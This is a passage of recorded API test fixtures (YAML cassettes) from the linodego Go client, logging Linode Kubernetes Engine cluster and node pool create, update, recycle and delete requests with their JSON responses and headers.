https://api.linode.com/v4beta/lke/clusters/252663/pools/403772/recycle method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:55:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252663/pools/403772 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:56:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252663 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:56:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePool_Update.yaml000066400000000000000000000524741474652371000317010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=1 method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 8209, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "239" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"],"labels":null,"taints":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8209/pools method: POST response: body: '{"id": 10171, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10171-05983c340000", "instance_id": null, "status": "not_ready"}, {"id": "10171-37e66ee40000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"tags":[],"autoscaler":{"enabled":true,"min":2,"max":5}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8209/pools/10171 method: PUT response: body: '{"id": 10171, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "10171-05983c340000", "instance_id": null, "status": "not_ready"}, {"id": "10171-37e66ee40000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": true, "min": 2, "max": 5}, "labels": {}, "taints": [], "tags": [], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":3,"tags":["bar","foo","test"],"labels":{"foo":"bar"},"taints":[{"key":"foo","value":"bar","effect":"NoSchedule"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8209/pools/10171 method: PUT response: body: '{"id": 10171, "type": "g6-standard-2", "count": 3, "nodes": [{"id": "10171-05983c340000", "instance_id": null, "status": "not_ready"}, {"id": "10171-37e66ee40000", "instance_id": null, "status": "not_ready"}, {"id": "10171-5b4259d00000", "instance_id": null, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": true, "min": 2, "max": 5}, "labels": {"foo": "bar"}, "taints": [{"key": "foo", "value": "bar", "effect": "NoSchedule"}], "tags": ["bar", "foo", "test"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8209/pools/10171 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/8209 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePools_List.yaml000066400000000000000000000472661474652371000315600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 2, "maximum_linodes_per_pg": 3}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 3, "maximum_linodes_per_pg": 2}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": 